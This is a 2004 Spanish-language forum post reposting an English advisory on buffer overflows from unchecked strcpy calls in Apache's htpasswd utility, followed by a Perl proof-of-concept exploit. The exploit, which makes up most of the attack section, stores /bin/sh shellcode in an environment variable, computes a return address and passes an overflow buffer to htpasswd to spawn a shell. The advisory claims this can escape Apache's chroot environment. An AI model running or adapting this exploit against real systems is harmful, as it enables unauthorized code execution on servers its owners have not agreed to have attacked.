elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 15:40  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Proof Of Concept Exploit (PoC) For Htpasswd Of Apache - Local Exploit -
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Proof Of Concept Exploit (PoC) For Htpasswd Of Apache - Local Exploit -  (Leído 689 veces)
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Proof Of Concept Exploit (PoC) For Htpasswd Of Apache - Local Exploit -
« en: 20 Septiembre 2004, 03:13 »

[01] Package Description
[02] The problem
[03] Possibilities
[04] Solution
[05] Proof of Concept

[01] Short Description

Since htpasswd is part of apache software, here we got the apache description.
Apache has been the most popular web server on the Internet since
April of 1996. The October 2003 Netcraft Web Server Survey found that
more than 64% of the web sites on the Internet are using Apache, thus
making it more widely used than all other web servers combined.

[02] The problem

In apache/src/support/htpasswd.c were found lots of problems with strcpy.
Unchecked buffers with user and passwd variables may let an attacker
to take advantage of it.


[03] Possibilities

htpasswd is not setuid root by default. And it doesn't have any sense to
do it yourself. So you can't gain root by exploiting these bugs directly.

However, you can get out from apache's chroot environment since
htpasswd usually stays in its environment.

[04] Solution

Take a good look in strcpy functions and maybe change it for strncpy function.


[05] Proof of Concep

Código:
#!/usr/bin/perl
# Proof Of Concept exploit for htpasswd of Apache.
# Read the advisory for more information.
# - Luiz Fernando Camargo
# - foxtrot_at_flowsecurity.org
$shellcode = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


$target = "/usr/local/apache/bin/htpasswd";
$retaddr = 0xbffffffa - length($shellcode) - length($target);


print "using retaddr = 0x", sprintf('%lx',($retaddr)), "\r\n";


local($ENV{'XXX'}) = $shellcode;
$newret = pack('l', $retaddr);
$buffer = "A" x 272;
$buffer .= $newret x 4;
$buffer .= " ";
$buffer .= "B" x 290;


exec("$target -nb $buffer");


fuente: governmentsecurity.org
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Exploit local para Kernel 2.6.26-2 (x64), alguna sugerencia?
Bugs y Exploits
grx0 5 2,247 Último mensaje 13 Diciembre 2010, 08:14
por grx0
[Videotuto] Exploit local linux 32 y 64 bits « 1 2 3 »
Bugs y Exploits
illera88 35 5,284 Último mensaje 17 Marzo 2011, 23:39
por M3st4ng
Exploit en red wifi
Bugs y Exploits
TToniii 5 1,683 Último mensaje 26 Noviembre 2011, 22:28
por TToniii
exploit puerto 23
Bugs y Exploits
gusdinho80 5 1,075 Último mensaje 20 Enero 2012, 16:27
por Sagrini
¿Exploit Debian 5.0?
Bugs y Exploits
echuche 0 387 Último mensaje 20 Febrero 2012, 03:52
por echuche
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines